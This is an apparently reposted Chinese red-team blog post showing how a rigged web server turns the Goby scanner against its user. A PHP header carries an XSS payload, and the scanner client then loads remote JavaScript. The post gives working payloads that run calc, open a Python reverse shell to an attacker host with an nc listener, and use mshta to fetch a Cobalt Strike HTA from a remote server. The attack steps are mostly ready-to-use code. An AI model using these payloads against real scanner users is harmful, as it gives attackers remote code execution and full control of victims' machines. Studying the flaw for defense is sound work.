当前位置: 首页 > news >正文

【攻防实战】红队攻防之Goby反杀

「那不是黑历史,那是我的来时路」

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事,只有对原理了然于⼼,才能突破更多的限制。

拥有快速学习能力的安全研究员,是不能有短板的,有的只能是大量的标准板和几块长板。

知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、弹xss

为了方便,本次直接使用 PhpStudy 进行建站,开启的web服务要为MySQL+Nginx,这里的 PhpStudy 地址为 http://x.x.x.x,直接将 Web 服务里的 index.php 改为以下内容

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=alert(\"xxxxx\")>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的xss弹窗的payload,点击扫描结果里的x.x.x.x

就会成功触发弹窗

二、弹计算器

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 calc 的 js 文件,js 内容如下:
js文件在goby客户端的chrome里如果同名只会第一次去请求,后面就缓存起来了,在测试的时候修改js文件内容没有效果,要同时修改内容和文件名

(function(){
require('child_process').exec('calc');
})()

执行这段 JS 会打开Goby所在主机的计算器
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/calc.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

成功反弹 计算器

三、反弹shell

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 shell 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');
})()

执行这段 JS 会利用 Python 反弹 Shell 到 x.x.x.x 主机的 xxx 端口
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/shell.js'))>");
?>

在x.x.x.x 主机的 xxx 端口开启监听
nc -lvp xxx

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

成功反弹 shell

四、上线cs

首先,cs生成VBA或者powershell的Hta程序,并且放到自己的公网服务器上

上线cs 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 1 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('mshta http://x.x.x.x/evil.hta');
})();

执行这段 JS 会利用Goby所在主机的mshta.exe执行cs生成的VBA的Hta程序
也可以利用文件下载功能使用cs所在的服务器进行加载

需要将 js 内容修改为:

(function(){
require('child_process').exec('mshta http://x.x.x.x/download/file.ext');
})();

之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/1.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

经测试,cs生成VBA的Hta程序,Windows 10 企业版可以上线

经测试,cs生成powershell的Hta程序,Windows 7 企业版和Windows 10 企业版可以上线

网络安全感悟

网络安全是一个长期的过程,因为网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。

如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

攻防交流群

声明

文笔生疏,措辞浅薄,敬请各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:平凡安全 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
http://www.dtcms.com/a/334433.html

相关文章:

  • day34-LNMP详解
  • 数据结构:构建 (create) 一个二叉树
  • 【图论】分层图 / 拆点
  • 算法训练营day53 图论④ 110.字符串接龙、105.有向图的完全可达性、106.岛屿的周长
  • 树、哈夫曼树以及二叉树的各种操作
  • 【CF】Day128——杂题 (图论 + 贪心 | 集合 + 贪心 + 图论 | 二分答案 + 贪心)
  • 【完整源码+数据集+部署教程】植物病害检测系统源码和数据集:改进yolo11-RFAConv
  • ceph pools have too many placement groups
  • 0815 UDP通信协议TCP并发服务器
  • 【Java web】HTTP 协议详解
  • H20芯片与中国的科技自立:一场隐形的博弈
  • RK3568 NPU RKNN(四):RKNN-ToolKit2性能和内存评估
  • web-apache优化
  • Java Web部署
  • Python:如何在Pycharm中显示geemap地图?
  • Flutter InheritedWidget 详解:从生命周期到数据流动的完整解析
  • 开源数据发现平台:Amundsen Frontend Service React 配置 Flask 配置 Superset 预览集成
  • 教育行业破局:课程答疑智能体如何用“按次付费+算力限制”实现精准变现,可独立部署(井云智能体封装系统)
  • NLP:Transformer模型构建
  • 数字分类:机器学习经典案例解析
  • 通过rss订阅小红书,程序员将小红书同步到自己的github主页
  • MCU软件架构---RAM分区设计原则(四)
  • PyTorch生成式人工智能——使用MusicGen生成音乐
  • 二叉树的三种遍历方法
  • List容器:特性与操作使用指南
  • VS Code配置MinGW64编译GLPK(GNU Linear Programming Kit)开源库
  • 实现Android图片手势缩放功能的完整自定义View方案,结合了多种手势交互功能
  • 纸板制造制胶工艺学习记录4
  • Redis集群设计实战:从90%缓存命中率看高并发系统优化
  • Windows常见文件夹cache的作用还有其他缓存类型文件夹的作用